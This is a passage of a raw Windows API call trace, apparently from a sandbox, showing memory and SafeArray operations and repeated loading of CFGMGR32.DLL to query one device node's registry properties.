(_Size=0x18) returned 0x196ef0d19e0 [0229.777] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.777] free (_Block=0x196ef0d19e0) [0229.777] malloc (_Size=0x18) returned 0x196ef0d1a20 [0229.777] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.778] free (_Block=0x196ef0d1a20) [0229.778] malloc (_Size=0x18) returned 0x196ef0d20e0 [0229.778] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.778] free (_Block=0x196ef0d20e0) [0229.778] malloc (_Size=0x18) returned 0x196ef0d1da0 [0229.778] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.778] free (_Block=0x196ef0d1da0) [0229.778] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0229.778] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.778] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0229.778] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0229.778] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa920 [0229.778] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.778] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0229.779] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0229.779] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0229.780] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.780] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.780] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.781] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9c8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.781] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa920) returned 1 [0229.782] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0229.782] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.782] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.785] malloc (_Size=0x18) returned 0x196ef0d19a0 [0229.785] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0229.785] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0229.786] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0229.786] free (_Block=0x196ef0d67b0) [0229.786] malloc (_Size=0x48) returned 0x196ef0fbb80 [0229.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x69d1c0d3, dwHighDateTime=0x1d9eb0c)) [0229.786] SetEvent (hEvent=0x248) returned 1 [0229.789] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0229.789] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.789] free (_Block=0x196ef0d1ac0) [0229.789] malloc (_Size=0x18) returned 0x196ef0d1a40 [0229.789] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0229.789] free (_Block=0x196ef0d1a40) [0229.789] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0229.789] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0229.789] free (_Block=0x196ef0d1ba0) [0229.789] malloc (_Size=0x18) returned 0x196ef0d1de0 [0229.789] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0229.789] free (_Block=0x196ef0d1de0) [0229.789] malloc (_Size=0x18) returned 0x196ef0d1da0 [0229.790] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0229.790] free (_Block=0x196ef0d1da0) [0229.790] malloc (_Size=0x18) returned 0x196ef0d1a80 [0229.790] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0229.790] free (_Block=0x196ef0d1a80) [0229.790] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.790] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0229.790] free (_Block=0x196ef0d1e60) [0229.790] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855b60 [0229.790] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0229.790] SafeArrayGetLBound (in: psa=0x196ef1f2670, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0229.790] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0229.790] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0229.790] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0229.790] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0229.790] SafeArrayGetElemsize (psa=0x196ef1f2670) returned 0x8 [0229.791] SafeArrayGetElement (in: psa=0x196ef1f2670, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0229.791] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2420, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.791] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2428, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.792] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2430, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.792] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2438, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.792] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2440, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.792] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2448, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.792] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2450, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.793] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0229.793] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855b60) returned 1 [0229.793] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.793] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.796] malloc (_Size=0x18) returned 0x196ef0d2040 [0229.796] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.878] malloc (_Size=0x48) returned 0x196ef0fb590 [0229.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69e00bdc, dwHighDateTime=0x1d9eb0c)) [0229.879] SetEvent (hEvent=0x248) returned 1 [0229.882] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.882] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.885] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.885] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.886] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0229.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69e00bdc, dwHighDateTime=0x1d9eb0c)) [0229.886] SetEvent (hEvent=0x248) returned 1 [0229.889] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.889] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.892] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.892] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.892] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.892] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.892] malloc (_Size=0x18) returned 0x196ef0d1e20 [0229.892] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.893] malloc (_Size=0x48) returned 0x196ef0fb680 [0229.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69e271fb, dwHighDateTime=0x1d9eb0c)) [0229.893] SetEvent (hEvent=0x248) returned 1 [0229.896] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.896] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.899] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0229.899] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0229.900] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0229.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69e271fb, dwHighDateTime=0x1d9eb0c)) [0229.900] SetEvent (hEvent=0x248) returned 1 [0229.905] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.905] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.908] malloc (_Size=0x18) returned 0x196ef0d1f60 [0229.908] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.911] malloc (_Size=0x48) returned 0x196ef0fbd10 [0229.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69e4d3df, dwHighDateTime=0x1d9eb0c)) [0229.912] SetEvent (hEvent=0x248) returned 1 [0229.914] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.914] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.916] 